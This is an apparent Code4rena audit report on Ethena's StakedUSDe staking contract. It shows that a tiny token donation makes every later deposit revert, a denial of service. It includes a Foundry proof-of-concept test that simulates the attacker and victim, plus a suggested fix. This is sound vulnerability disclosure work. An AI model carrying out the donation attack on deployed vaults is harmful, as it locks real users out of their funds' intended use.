Lines of code
<https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L190-L194>
<https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L225-L239>
The StakedUSDe contract is vulnerable to manipulation by a malicious actor, leading to a permanent interruption of operations through a Denial-of-Service (DoS) attack. This vulnerability also impacts StakedUSDeV2 due to its inheritance of the StakedUSDe contract.
The contract acknowledges and attempts to mitigate the ERC-4626 donation attack, also known as inflation attack, by mandating
that both _deposit and _withdraw functions validate the retention of at least 1 ether worth of shares within the contract.
<https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L35-L36>
/// @notice Minimum non-zero shares amount to prevent donation attack
uint256 private constant MIN_SHARES = 1 ether;
<https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L190-L194>
/// @notice ensures a small non-zero amount of shares does not remain, exposing to donation attack
function _checkMinShares() internal view {
uint256 _totalSupply = totalSupply();
if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
}
<https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L203-L215>
// @audit Called by deposit function
function _deposit(address caller, address receiver, uint256 assets, uint256 shares)
internal
override
nonReentrant
notZero(assets)
notZero(shares)
{
// ... SNIP ...
_checkMinShares(); // <<<
}
<https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L225-L239>
// @audit Called by redeem function
function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
internal
override
nonReentrant
notZero(assets)
notZero(shares)
{
// ... SNIP ...
_checkMinShares(); // <<<
}
However, this attempt to mitigate the inflation attack problem gives rise to new issues. The attacker can still
manipulate the contract at a low cost but to render it inoperable instead of making a direct profit from the exploit.
To integrate the testMinSharesViolationDoSAUDIT function, paste it within the test contract, specifically in the
file /test/foundry/staking/StakedUSDe.t.sol.
// ... SNIP ...
contract StakedUSDeTest is Test, IERC20Events {
// ... SNIP ...
function testMinSharesViolationDoSAUDIT() public {
address attacker = address(0x1337);
address victim = address(0xdeadbeef);
// :: Attacker ::
uint256 aAmount = 1_000_000 wei; // 0.000000000001 ether
usdeToken.mint(attacker, aAmount);
// Donates 1_000_000 wei to the contract
vm.startPrank(attacker);
usdeToken.transfer(address(stakedUSDe), aAmount);
vm.stopPrank();
// :: Victim ::
uint256 vTotalAmount = 1_000_000 ether;
usdeToken.mint(victim, vTotalAmount);
vm.startPrank(victim);
usdeToken.approve(address(stakedUSDe), vTotalAmount);
// Attempts 1 ether amount deposit
uint256 vCurAmount = 1 ether;
vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); // Revert
stakedUSDe.deposit(vCurAmount, victim);
// Attempts 10 ether amount deposit
vCurAmount = 10 ether;
vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); // Revert
stakedUSDe.deposit(vCurAmount, victim);
// Attempts 100 ether amount deposit
vCurAmount = 100 ether;
vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); // Revert
stakedUSDe.deposit(vCurAmount, victim);
// Attempts 1_000_000 ether amount deposit
vCurAmount = 1_000_000 ether;
vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); // Revert
stakedUSDe.deposit(vCurAmount, victim);
vm.stopPrank();
}
// ... SNIP ...
Then you can execute it with the command:
$ forge test --match-test testMinSharesViolationDoSAUDIT
When the ERC-4626 deposit function is called, it internally calls previewDeposit(assets), which in turn triggers
the _convertToShares(assets, Math.Rounding.Floor) method. This is how _convertToShares operates:
function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256) {
return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding);
}
After donating 1_000_000 wei (now returned by totalAssets()) to the contract, a deposit of, for example, 1_000_000 ether will lead to
_convertToShares returning 999999000000999999 shares (< 1 ether). Consequently, this will prompt _checkMinShares to revert
during the comparison of _totalSupply with MIN_SHARES (1 ether):
<https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L190-L194>
/// @notice ensures a small non-zero amount of shares does not remain, exposing to donation attack
function _checkMinShares() internal view {
uint256 _totalSupply = totalSupply();
if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
}
Manual: code editor, Foundryβs forge.
Remove the _checkMinShares function.
Examine the existing measures implemented by the imported ERC4626 contract to mitigate the issue, and
explore alternative compatible strategies for further mitigation if necessary.
* [CAUTION]
* ====
* In empty (or nearly empty) ERC-4626 vaults, deposits are at high risk of being stolen through frontrunning
* with a "donation" to the vault that inflates the price of a share. This is variously known as a donation or inflation
* attack and is essentially a problem of slippage. Vault deployers can protect against this attack by making an initial
* deposit of a non-trivial amount of the asset, such that price manipulation becomes infeasible. Withdrawals may
* similarly be affected by slippage. Users can protect against this attack as well as unexpected slippage in general by
* verifying the amount received is as expected, using a wrapper that performs these checks such as
* https://github.com/fei-protocol/ERC4626#erc4626router-and-base[ERC4626Router].
*
* Since v4.9, this implementation uses virtual assets and shares to mitigate that risk. The _decimalsOffset()
* corresponds to an offset in the decimal representation between the underlying asset's decimals and the vault
* decimals. This offset also determines the rate of virtual shares to virtual assets in the vault, which itself
* determines the initial exchange rate. While not fully preventing the attack, analysis shows that the default offset
* (0) makes it non-profitable, as a result of the value being captured by the virtual shares (out of the attacker's
* donation) matching the attacker's expected gains. With a larger offset, the attack becomes orders of magnitude more
* expensive than it is profitable. More details about the underlying math can be found
* xref:erc4626.adoc#inflation-attack[here].
*
* The drawback of this approach is that the virtual shares do capture (a very small) part of the value being accrued
* to the vault. Also, if the vault experiences losses, the users try to exit the vault, the virtual shares and assets
* will cause the first user to exit to experience reduced losses in detriment to the last users that will experience
* bigger losses. Developers willing to revert back to the pre-v4.9 behavior just need to override the
* _convertToShares and _convertToAssets functions.
*
* To learn more, check out our xref:ROOT:erc4626.adoc[ERC-4626 guide].
* ====
*/
DoS
The text was updated successfully, but these errors were encountered:
All reactions